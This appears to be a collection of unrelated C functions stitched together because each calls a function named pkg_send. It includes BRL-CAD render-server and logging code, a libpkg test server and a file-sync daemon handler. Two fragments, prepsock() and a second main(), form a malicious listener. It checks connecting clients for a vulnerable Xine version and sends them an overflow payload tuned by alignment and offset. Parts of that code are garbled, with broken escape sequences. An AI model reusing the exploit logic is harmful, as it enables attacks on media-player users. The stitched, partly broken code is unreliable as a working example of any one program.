/* * Handles error or log messages from the frame buffer library. * We route these back to all clients in an ERROR packet. Note that * this is a replacement for the default fb_log function in libfb * (which just writes to stderr). * * Log an FB library event, when _doprnt() is not available. * This version should work on practically any machine, but * it serves to highlight the grossness of the varargs package * requiring the size of a parameter to be known at compile time. */ void fb_log( const char *fmt, ... ) { va_list ap; char outbuf[OUTBUFSZ]; /* final output string */ int want; int i; int nsent = 0; va_start( ap, fmt ); (void)vsprintf( outbuf, fmt, ap ); va_end(ap); want = strlen(outbuf)+1; for ( i = MAX_CLIENTS-1; i >= 0; i-- ) { if ( clients[i] == NULL ) continue; if ( pkg_send( MSG_ERROR, outbuf, want, clients[i] ) != want ) { comm_error("pkg_send error in fb_log, message was:\n"); comm_error(outbuf); } else { nsent++; } } if ( nsent == 0 || verbose ) { /* No PKG connection open yet! */ fputs( outbuf, stderr ); fflush(stderr); } }
void bu_bomb(const char *str) { char *bomb = "RTSRV terminated by bu_bomb()\n"; if (pkg_send(MSG_PRINT, (char *)str, strlen(str)+1, pcsrv) < 0) { fprintf(stderr, "bu_bomb MSG_PRINT failed\n"); } if (pkg_send(MSG_PRINT, bomb, strlen(bomb)+1, pcsrv) < 0) { fprintf(stderr, "bu_bomb MSG_PRINT failed\n"); } if (debug) fprintf(stderr, "\n%s\n", str); fflush(stderr); bu_exit(12, NULL); }
/* * The only argument is the name of the database file. */ void ph_dirbuild(struct pkg_conn *UNUSED(pc), char *buf) { long max_argc = 0; char **argv = NULL; struct rt_i *rtip = NULL; size_t n = 0; if (debug) fprintf(stderr, "ph_dirbuild: %s\n", buf); for (n = 0; n < strlen(buf); n++) { if (isspace((int)buf[n])) max_argc++; } argv = (char **)bu_calloc(max_argc+1, sizeof(char *), "alloc argv"); if ((bu_argv_from_string(argv, max_argc, buf)) <= 0) { /* No words in input */ (void)free(buf); bu_free(argv, "free argv"); return; } if (seen_dirbuild) { bu_log("ph_dirbuild: MSG_DIRBUILD already seen, ignored\n"); (void)free(buf); bu_free(argv, "free argv"); return; } title_file = bu_strdup(argv[0]); bu_free(argv, "free argv"); /* Build directory of GED database */ if ((rtip=rt_dirbuild(title_file, idbuf, sizeof(idbuf))) == RTI_NULL) bu_exit(2, "ph_dirbuild: rt_dirbuild(%s) failure\n", title_file); APP.a_rt_i = rtip; seen_dirbuild = 1; /* * Initialize all the per-CPU memory resources. * Go for the max, as TCL interface may change npsw as we run. */ for (n=0; n < MAX_PSW; n++) { rt_init_resource(&resource[n], n, rtip); bn_rand_init(resource[n].re_randptr, n); } if (pkg_send(MSG_DIRBUILD_REPLY, idbuf, strlen(idbuf)+1, pcsrv) < 0) fprintf(stderr, "MSG_DIRBUILD_REPLY error\n"); }
/* * Log an error. * This version buffers a full line, to save network traffic. */ void bu_log(const char *fmt, ...) { va_list vap; char buf[512]; /* a generous output line. Must be AUTO, else non-PARALLEL. */ if (print_on == 0) return; bu_semaphore_acquire(BU_SEM_SYSCALL); va_start(vap, fmt); (void)vsprintf(buf, fmt, vap); va_end(vap); if (pcsrv == PKC_NULL || pcsrv == PKC_ERROR) { fprintf(stderr, "%s", buf); goto out; } if (debug) fprintf(stderr, "%s", buf); if (pkg_send(MSG_PRINT, buf, strlen(buf)+1, pcsrv) < 0) { fprintf(stderr, "pkg_send MSG_PRINT failed\n"); bu_exit(12, NULL); } out: bu_semaphore_release(BU_SEM_SYSCALL); }
/* * Each word in the command buffer is the name of a treetop. */ void ph_gettrees(struct pkg_conn *UNUSED(pc), char *buf) { size_t n = 0; long max_argc = 0; char **argv = NULL; int argc = 0; struct rt_i *rtip = APP.a_rt_i; RT_CK_RTI(rtip); if (debug) fprintf(stderr, "ph_gettrees: %s\n", buf); /* Copy values from command line options into rtip */ rtip->useair = use_air; if (rt_dist_tol > 0) { rtip->rti_tol.dist = rt_dist_tol; rtip->rti_tol.dist_sq = rt_dist_tol * rt_dist_tol; } if (rt_perp_tol > 0) { rtip->rti_tol.perp = rt_perp_tol; rtip->rti_tol.para = 1 - rt_perp_tol; } for (n = 0; n < strlen(buf); n++) { if (isspace((int)buf[n])) max_argc++; } argv = (char **)bu_calloc(max_argc+1, sizeof(char *), "alloc argv"); if ((argc = bu_argv_from_string(argv, max_argc, buf)) <= 0) { /* No words in input */ (void)free(buf); bu_free(argv, "free argv"); return; } title_obj = bu_strdup(argv[0]); if (rtip->needprep == 0) { /* First clean up after the end of the previous frame */ if (debug)bu_log("Cleaning previous model\n"); view_end(&APP); view_cleanup(rtip); rt_clean(rtip); if (rdebug&RDEBUG_RTMEM_END) bu_prmem("After rt_clean"); } /* Load the desired portion of the model */ if (rt_gettrees(rtip, argc, (const char **)argv, npsw) < 0) fprintf(stderr, "rt_gettrees(%s) FAILED\n", argv[0]); bu_free(argv, "free argv"); /* In case it changed from startup time via an OPT command */ if (npsw > 1) { RTG.rtg_parallel = 1; } else RTG.rtg_parallel = 0; seen_gettrees = 1; (void)free(buf); prepare(); /* Acknowledge that we are ready */ if (pkg_send(MSG_GETTREES_REPLY, title_obj, strlen(title_obj)+1, pcsrv) < 0) fprintf(stderr, "MSG_START error\n"); }
int main(int argc, char **argv) { int n; if (argc < 2) { fprintf(stderr, "%s", srv_usage); return 1; } while (argv[1][0] == '-') { if (BU_STR_EQUAL(argv[1], "-d")) { debug++; } else if (BU_STR_EQUAL(argv[1], "-x")) { sscanf(argv[2], "%x", (unsigned int *)&RTG.debug); argc--; argv++; } else if (BU_STR_EQUAL(argv[1], "-X")) { sscanf(argv[2], "%x", (unsigned int *)&rdebug); argc--; argv++; } else { fprintf(stderr, "%s", srv_usage); return 3; } argc--; argv++; } if (argc != 3 && argc != 4) { fprintf(stderr, "%s", srv_usage); return 2; } control_host = argv[1]; tcp_port = argv[2]; /* Note that the LIBPKG error logger can not be * "bu_log", as that can cause bu_log to be entered recursively. * Given the special version of bu_log in use here, * that will result in a deadlock in bu_semaphore_acquire(res_syscall)! * libpkg will default to stderr via pkg_errlog(), which is fine. */ pcsrv = pkg_open(control_host, tcp_port, "tcp", "", "", pkgswitch, NULL); if (pcsrv == PKC_ERROR) { fprintf(stderr, "rtsrv: unable to contact %s, port %s\n", control_host, tcp_port); return 1; } if (argc == 4) { /* Slip one command to dispatcher */ (void)pkg_send(MSG_CMD, argv[3], strlen(argv[3])+1, pcsrv); /* Prevent chasing the package with an immediate TCP close */ sleep(1); pkg_close(pcsrv); return 0; } #ifdef SO_SNDBUF /* increase the default send buffer size to 32k since we're * sending pixels more than likely. */ { int val = 32767; n = setsockopt(pcsrv->pkc_fd, SOL_SOCKET, SO_SNDBUF, (const void *)&val, sizeof(val)); if (n < 0) perror("setsockopt: SO_SNDBUF"); } #endif if (!debug) { /* A fresh process */ if (fork()) return 0; /* Go into our own process group */ n = bu_process_id(); #ifdef HAVE_SETPGID if (setpgid(n, n) < 0) perror("setpgid"); #else /* SysV uses setpgrp with no args and it can't fail, * obsoleted by setpgid. */ setpgrp(); #endif /* * Unless controller process has specifically said * that this is an interactive session, e.g., for a demo, * drop to the lowest sensible priority. */ if (!interactive) { bu_nice_set(19); /* lowest priority */ } /* Close off the world */ fclose(stdin); fclose(stdout); fclose(stderr); (void)close(0); (void)close(1); (void)close(2); /* For stdio & perror safety, reopen 0, 1, 2 */ (void)open("/dev/null", 0); /* to fd 0 */ n = dup(0); /* to fd 1 */ if (n == -1) perror("dup"); n = dup(0); /* to fd 2 */ if (n == -1) perror("dup"); #if defined(HAVE_SYS_IOCTL_H) && defined(TIOCNOTTY) n = open("/dev/tty", 2); if (n >= 0) { (void)ioctl(n, TIOCNOTTY, 0); (void)close(n); } #endif } /* Send our version string */ if (pkg_send(MSG_VERSION, PROTOCOL_VERSION, strlen(PROTOCOL_VERSION)+1, pcsrv) < 0) { fprintf(stderr, "pkg_send MSG_VERSION error\n"); return 1; } if (debug) fprintf(stderr, "PROTOCOL_VERSION='%s'\n", PROTOCOL_VERSION); /* * Now that the fork() has been done, it is safe to initialize * the parallel processing support. */ avail_cpus = bu_avail_cpus(); /* Need to set rtg_parallel non_zero here for RES_INIT to work */ npsw = avail_cpus; if (npsw > 1) { RTG.rtg_parallel = 1; } else RTG.rtg_parallel = 0; bu_semaphore_init(RT_SEM_LAST); bu_log("using %d of %d cpus\n", npsw, avail_cpus); /* * Initialize the non-parallel memory resource. * The parallel guys are initialized after the rt_dirbuild(). */ rt_init_resource(&rt_uniresource, MAX_PSW, NULL); bn_rand_init(rt_uniresource.re_randptr, MAX_PSW); BU_LIST_INIT(&WorkHead); for (;;) { struct pkg_queue *lp; fd_set ifds; struct timeval tv; /* First, process any packages in library buffers */ if (pkg_process(pcsrv) < 0) { bu_log("pkg_get error\n"); break; } /* Second, see if any input to read */ FD_ZERO(&ifds); FD_SET(pcsrv->pkc_fd, &ifds); tv.tv_sec = BU_LIST_NON_EMPTY(&WorkHead) ? 0L : 9999L; tv.tv_usec = 0L; if (select(pcsrv->pkc_fd+1, &ifds, (fd_set *)0, (fd_set *)0, &tv) != 0) { n = pkg_suckin(pcsrv); if (n < 0) { bu_log("pkg_suckin error\n"); break; } else if (n == 0) { /* EOF detected */ break; } else { /* All is well */ } } /* Third, process any new packages in library buffers */ if (pkg_process(pcsrv) < 0) { bu_log("pkg_get error\n"); break; } /* Finally, more work may have just arrived, check our list */ if (BU_LIST_NON_EMPTY(&WorkHead)) { lp = BU_LIST_FIRST(pkg_queue, &WorkHead); BU_LIST_DEQUEUE(&lp->l); switch (lp->type) { case MSG_MATRIX: ph_matrix((struct pkg_conn *)0, lp->buf); break; case MSG_LINES: ph_lines((struct pkg_conn *)0, lp->buf); break; case MSG_OPTIONS: ph_options((struct pkg_conn *)0, lp->buf); break; case MSG_GETTREES: ph_gettrees((struct pkg_conn *)0, lp->buf); break; default: bu_log("bad list element, type=%d\n", lp->type); return 33; } BU_PUT(lp, struct pkg_queue); } } return 0; /* bu_exit(0, NULL) */ }
int prepsock(int align_stack, int port) { unsigned int cl_buf, recv_chk, reuse = 1; unsigned int clisock_fd; signed int sock_fd; static char chk_vuln[CDATA]; static char payload[BUFFER]; struct sockaddr_in victimised, xine; char *pload = (char *) &opcode; ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) ? die("Could not create socket") : (setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) ? die("Could not re-use socket") : memset(&xine, 0, sizeof(xine)); xine.sin_family = AF_INET; xine.sin_port = htons(port); xine.sin_addr.s_addr = htonl(INADDR_ANY); if(bind(sock_fd, (struct sockaddr *)&xine, sizeof(struct sockaddr)) == -1) { close(sock_fd); die("Could not bind socket"); } if(listen(sock_fd, 0) == -1) { close(sock_fd); die("Could not listen on socket"); } printf(" -> Listening for a connection on port %dn", port); cl_buf = sizeof(victimised); clisock_fd = accept(sock_fd, (struct sockaddr *)&victimised, &cl_buf); if(!clisock_fd) { die("Could not accept connectionn"); } if(!close(sock_fd)) { fprintf(stderr, "Could not close socketn"); } fprintf(stderr, " -> Action: Attaching from host [%s]n", inet_ntoa(victimised.sin_addr)); fprintf(stderr, " -> Using align [%d] and port [%d]n", align_stack, port); //memset(chk_vuln, 0, CDATA); memset(chk_vuln, 0, sizeof(chk_vuln)); recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln), 0); chk_vuln[recv_chk+1] = ''; if((recv_chk == -1) || (recv_chk == 0)) { fprintf(stderr, "Could not receive data from clientn"); } if(strstr(chk_vuln, THREAT)) { fprintf(stderr, " -> Detected vulnerable Xine versionn"); }else{ fprintf(stderr, " -> Detected a non-Xine connection, end.n"); close(clisock_fd); die("Ending connection, not a Xine clientn"); } if(pkg_send(clisock_fd, align_stack, pload, payload) == 1) { fprintf(stderr, "Could not send packagen"); close(clisock_fd); die("Could not send package!n"); } if(close(clisock_fd) != 0) { fprintf(stderr, "Could not close socketn"); } return clisock_fd; //return SUCCESS; }
/** * start up a server that listens for a single client. */ void run_server(int port) { struct pkg_conn *client; int netfd; char portname[MAX_DIGITS + 1] = {0}; /* int pkg_result = 0; */ char *buffer, *msgbuffer; long bytes = 0; FILE *fp; /** our server callbacks for each message type */ struct pkg_switch callbacks[] = { {MSG_HELO, server_helo, "HELO", NULL}, {MSG_DATA, server_data, "DATA", NULL}, {MSG_CIAO, server_ciao, "CIAO", NULL}, {0, 0, (char *)0, (void*)0} }; validate_port(port); /* start up the server on the given port */ snprintf(portname, MAX_DIGITS, "%d", port); netfd = pkg_permserver(portname, "tcp", 0, 0); if (netfd < 0) { bu_bomb("Unable to start the server"); } /* listen for a good client indefinitely. this is a simple * handshake that waits for a HELO message from the client. if it * doesn't get one, the server continues to wait. */ do { client = pkg_getclient(netfd, callbacks, NULL, 0); if (client == PKC_NULL) { bu_log("Connection seems to be busy, waiting...\n"); sleep(10); continue; } else if (client == PKC_ERROR) { bu_log("Fatal error accepting client connection.\n"); pkg_close(client); client = PKC_NULL; continue; } /* got a connection, process it */ msgbuffer = pkg_bwaitfor (MSG_HELO, client); if (msgbuffer == NULL) { bu_log("Failed to process the client connection, still waiting\n"); pkg_close(client); client = PKC_NULL; } else { bu_log("msgbuffer: %s\n", msgbuffer); /* validate magic header that client should have sent */ if (!BU_STR_EQUAL(msgbuffer, MAGIC_ID)) { bu_log("Bizarre corruption, received a HELO without at matching MAGIC ID!\n"); pkg_close(client); client = PKC_NULL; } } } while (client == PKC_NULL); /* have client, will send file */ fp = fopen("lempar.c", "rb"); buffer = (char *)bu_calloc(2048, 1, "buffer allocation"); if (fp == NULL) { bu_log("Unable to open lempar.c\n"); bu_bomb("Unable to read file\n"); } /* send the file data to the server */ while (!feof(fp) && !ferror(fp)) { bytes = fread(buffer, 1, 2048, fp); bu_log("Read %ld bytes from lempar.c\n", bytes); if (bytes > 0) { bytes = pkg_send(MSG_DATA, buffer, (size_t)bytes, client); if (bytes < 0) { pkg_close(client); bu_log("Unable to successfully send data"); bu_free(buffer, "buffer release"); return; } } } /* Tell the client we're done */ bytes = pkg_send(MSG_CIAO, "DONE", 5, client); if (bytes < 0) { bu_log("Connection to client seems faulty.\n"); } /* Confirm the client is done */ buffer = pkg_bwaitfor (MSG_CIAO , client); bu_log("buffer: %s\n", buffer); /* shut down the server, one-time use */ pkg_close(client); }
int main(int argc, char **argv) { unsigned int align = 0, offset = 0, reuse = 1; unsigned int port = PORT; unsigned int cl_buf, opts; signed int clisock_fd, sock_fd; static char *exploit, *work; struct sockaddr_in victim; struct sockaddr_in confess; if(argc < 2) { banner(); example(exploit); _exit(1); }banner(); while((opts = getopt(argc, argv, "a:o:")) != -1) { switch(opts) { case 'a': align = atoi(optarg); break; case 'o': offset = atoi(optarg); break; default: align = ALIGN; offset = OFFSET; } } if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { die("Could not create socket"); } if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) { die("Could not re-use socket"); } memset(&confess, 0, sizeof(confess)); confess.sin_family = AF_INET; confess.sin_port = htons(port); confess.sin_addr.s_addr = htonl(INADDR_ANY); if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) { die("Could not bind socket"); } if(listen(sock_fd, 0) == -1) { die("Could not listen on socket"); } printf(" -> Listening for a connection on port %d\n", port); cl_buf = sizeof(victim); clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf); fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr)); if(pkg_prep(clisock_fd, align, offset) == 1) { fprintf(stderr, "Could not prep package\n"); _exit(1); } if(pkg_send(clisock_fd, payload) == 1) { fprintf(stderr, "Could not send package\n"); _exit(1); } sleep(2); fprintf(stderr, " -> Test complete\n\n"); close(clisock_fd); looking(work); return SUCCESS; }
static void serve_connection(void* data) { connection_data *conn_data = (connection_data*) data; trace("New connection from %s:%d sd=%d\n", inet_ntoa(conn_data->pin.sin_addr), ntohs(conn_data->pin.sin_port), conn_data->sd); const int maxsize = PATH_MAX + 32; char buffer[maxsize]; struct package *pkg = (struct package *) &buffer; int first = true; char requestor_id[32] = "-1"; while (1) { trace("Waiting for a data to arrive from %s, sd=%d...\n", requestor_id, conn_data->sd); errno = 0; enum sr_result recv_res = pkg_recv(conn_data->sd, pkg, maxsize); if (recv_res == sr_reset) { trace("Connection sd=%d reset by peer => normal termination\n", conn_data->sd); break; } else if (recv_res == sr_failure) { if (errno != 0) { perror("error getting message"); } break; } trace("Request (%s): %s sd=%d\n", pkg_kind_to_string(pkg->kind), pkg->data, conn_data->sd); if (first ? (pkg->kind != pkg_handshake) : (pkg->kind != pkg_request && pkg->kind != pkg_written)) { fprintf(stderr, "protocol error: unexpected %s from %s sd=%d\n", pkg_kind_to_string(pkg->kind), requestor_id, conn_data->sd); break; } if (first) { first = false; strncpy(requestor_id, pkg->data, sizeof requestor_id); continue; } const char* filename = pkg->data; file_data *fd = find_file_data(filename); if (pkg->kind == pkg_written) { // NB 1: process that wrote a file does NOT wait any response // NB 2: MODIFIED status is final => no need to sync here if (fd == NULL) { trace("File %s is unknown - nothing to uncontrol\n", filename); } else if (fd->state == MODIFIED) { trace("File %s already reported as modified\n", filename); } else { fd->state = MODIFIED; trace("File %s sending uncontrol request to LC\n", filename); // TODO: this is a very primitive sync! mutex_lock(&mutex); fprintf(stdout, "%c %s\n", LC_PROTOCOL_WRITTEN, filename); fflush(stdout); mutex_unlock(&mutex); } } else { // pkg->kind == pkg_request char response[64]; response[1] = 0; if (fd != NULL) { mutex_lock(&fd->mutex); //NB: never return unless unlocked !!! switch (fd->state) { case TOUCHED: trace("File %s state %c - requesting LC\n", filename, (char) fd->state); /* TODO: this is a very primitive sync! */ mutex_lock(&mutex); fprintf(stdout, "%c %s\n", LC_PROTOCOL_REQUEST, filename); fflush(stdout); if (emulate) { response[0] = response_ok; } else if (!fgets(response, sizeof response, stdin)) { trace("Input stream closed. Exiting.\n"); break; } fd->state = (response[0] == response_ok) ? COPIED : ERROR; mutex_unlock(&mutex); trace("File %s state %c - got from LC %s, replying %s\n", filename, (char) fd->state, response, response); break; case COPIED: // fall through case UNCONTROLLED: case MODIFIED: response[0] = response_ok; trace("File %s state %c - uncontrolled/modified/copied, replying %s\n", filename, (char) fd->state, response); break; case ERROR: response[0] = response_failure; trace("File %s state %c - old error, replying %s\n", filename, (char) fd->state, response); break; case INITIAL: // fall through case DIRECTORY: // fall through case PENDING: // fall through default: response[0] = response_failure; trace("File %s state %c (0x%x)- unexpected state, replying %s\n", filename, (char) fd->state, (char) fd->state, response); break; } mutex_unlock(&fd->mutex); } else { response[0] = response_ok; trace("File %s: state n/a, replying: %s\n", filename, response); } response[1] = 0; enum sr_result send_res = pkg_send(conn_data->sd, pkg_reply, response); if (send_res == sr_failure) { perror("send"); } else if (send_res == sr_reset) { perror("send"); } else { // success trace("reply for %s sent to %s sd=%d\n", filename, requestor_id, conn_data->sd); } } } close(conn_data->sd); trace("Connection to %s:%d (%s) closed sd=%d\n", inet_ntoa(conn_data->pin.sin_addr), ntohs(conn_data->pin.sin_port), requestor_id, conn_data->sd); }